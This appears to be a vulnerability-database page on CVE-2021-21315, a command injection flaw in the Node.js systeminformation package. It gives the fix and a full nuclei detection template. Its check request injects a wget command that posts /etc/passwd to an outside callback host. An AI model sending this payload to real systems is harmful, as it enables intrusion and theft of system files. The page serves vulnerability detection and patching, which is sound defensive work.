HexBrain

Browse / CVEs / CVE-2021-21315

CVE-2021-21315· systeminformation / systeminformation· CWE-78

Node.JS System Information Library <5.3.1 - Remote Command Injection

Exploited in the wild. Listed by CISA on 2022-01-18; known to be used by ransomware.

highseverity
7.8CVSS score
90.7%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Node.JS System Information Library System before version 5.3.1 is susceptible to remote command injection. Node.JS (npm package "systeminformation") is an open source collection of functions to retrieve detailed hardware, system and OS information.

Impact

Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected system.

Fix

Upgrade to version 5.3.1. As a workaround instead of upgrading, be sure to check or sanitize service parameters that are passed to si.inetLatency(), si.inetChecksite(), si.services(), si.processLoad() ... do only allow strings, reject any arrays. String sanitation works as expected

How to confirm it

Send: GET {{BaseURL}}/api/getServices?name[]=$(wget%20--post-file%20/etc/passwd%20{{interactsh-url}})
Positive when: contains "wget --post-file /etc/passwd {{interactsh-url}}" and "name" and "running" and "pids" AND contains in header "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2021-21315 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2021-21315

info:
  name: Node.JS System Information Library <5.3.1 - Remote Command Injection
  author: pikpikcu
  severity: high
  description: Node.JS System Information Library System before version 5.3.1 is susceptible to remote command injection. Node.JS (npm package "systeminformation") is an open source collection of functions to retrieve detailed hardware, system and OS information.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected system.
  remediation: Upgrade to version 5.3.1. As a workaround instead of upgrading, be sure to check or sanitize service parameters that are passed to si.inetLatency(), si.inetChecksite(), si.services(), si.processLoad() ... do only allow strings, reject any arrays. String sanitation works as expected
  reference:
    - https://github.com/ForbiddenProgrammer/CVE-2021-21315-PoC
    - https://security.netapp.com/advisory/ntap-20210312-0007/
    - https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-2m8v-572m-ff2v
    - https://www.npmjs.com/package/systeminformation
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21315
  classification:
    cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.8
    cve-id: CVE-2021-21315
    cwe-id: CWE-78
    epss-score: 0.90675
    epss-percentile: 0.99806
    cpe: cpe:2.3:a:systeminformation:systeminformation:*:*:*:*:*:node.js:*:*
  metadata:
    max-request: 1
    vendor: systeminformation
    product: systeminformation
    framework: node.js
  tags: cve,cve2021,nodejs,kev,systeminformation,node.js,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/getServices?name[]=$(wget%20--post-file%20/etc/passwd%20{{interactsh-url}})"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "wget --post-file /etc/passwd {{interactsh-url}}"
          - name
          - running
          - pids
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from